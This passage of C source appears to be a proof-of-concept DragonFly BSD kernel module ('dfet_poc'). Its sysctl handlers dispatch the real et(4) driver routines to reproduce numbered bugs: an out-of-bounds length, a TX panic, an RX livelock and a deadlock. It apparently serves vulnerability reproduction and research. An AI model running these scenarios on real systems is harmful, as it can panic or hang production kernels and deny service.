"kern.dfet.{intr,txeof,stop,tick,nbhdr,nbcl}\n"); return (EINVAL); } df_ran[go] = 1; kprintf("dfet: === go=%d: dispatching REAL kernel handlers " "(built-in 'device et'): et_intr=%p et_txeof=%p et_stop=%p " "et_tick=%p et_newbuf_hdr=%p et_newbuf_cluster=%p ===\n", go, p_et_intr, p_et_txeof, p_et_stop, p_et_tick, p_et_nbhdr, p_et_nbcl); df_setup(); switch (go) { case 1: df_s1(); break; case 2: df_s2(); break; case 3: df_s3(); /* never returns on stock kernel */ break; case 4: df_s4(); /* never returns on stock kernel */ break; } return (0); } SYSCTL_PROC(_kern_dfet, OID_AUTO, go, CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df_sysctl_go, "I", "run scenario: 1=DF-4055 OOB len (safe) 2=DF-4056 TX panic " "3=DF-4056 RX livelock 4=DF-4057 deadlock"); static int df_sysctl_stats(SYSCTL_HANDLER_ARGS) { char buf[192]; ksnprintf(buf, sizeof(buf), "ipackets=%lu ierrors=%lu opackets=%lu oerrors=%lu " "df_delivered=%d df_oob=%d", DF_STAT(ifd_ipackets), DF_STAT(ifd_ierrors), DF_STAT(ifd_opackets), DF_STAT(ifd_oerrors), df_delivered, df_oob_events); return (SYSCTL_OUT(req, buf, strlen(buf) + 1)); } SYSCTL_PROC(_kern_dfet, OID_AUTO, stats, CTLTYPE_STRING | CTLFLAG_RD, NULL, 0, df_sysctl_stats, "A", "aggregated per-cpu ifdata counters"); static int df_sysctl_grab(SYSCTL_HANDLER_ARGS) { int error, v = 0; error = sysctl_handle_int(oidp, &v, 0, req); if (error || req->newptr == NULL) return (error); if (v != 1) return (0); kprintf("dfet: grab: entering lwkt_serialize_enter(df_ser) - " "if the serializer is held forever (S3 livelock), this " "blocks forever in 'slize'\n"); lwkt_serialize_enter(&df_ser); kprintf("dfet: grab: ACQUIRED (serializer free)\n"); lwkt_serialize_exit(&df_ser); return (0); } SYSCTL_PROC(_kern_dfet, OID_AUTO, grab, CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df_sysctl_grab, "I", "serializer-capture probe (S3 evidence)"); static int df_modevent(module_t mod, int type, void *arg) { switch (type) { case MOD_LOAD: return (0); case MOD_UNLOAD: /* defuse anything the scenarios left armed */ callout_stop_async(&df_sc.sc_tick); return (0); default: return (0); } } static moduledata_t df_mod = { "dfet_poc", df_modevent, NULL }; DECLARE_MODULE(dfet_poc, df_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);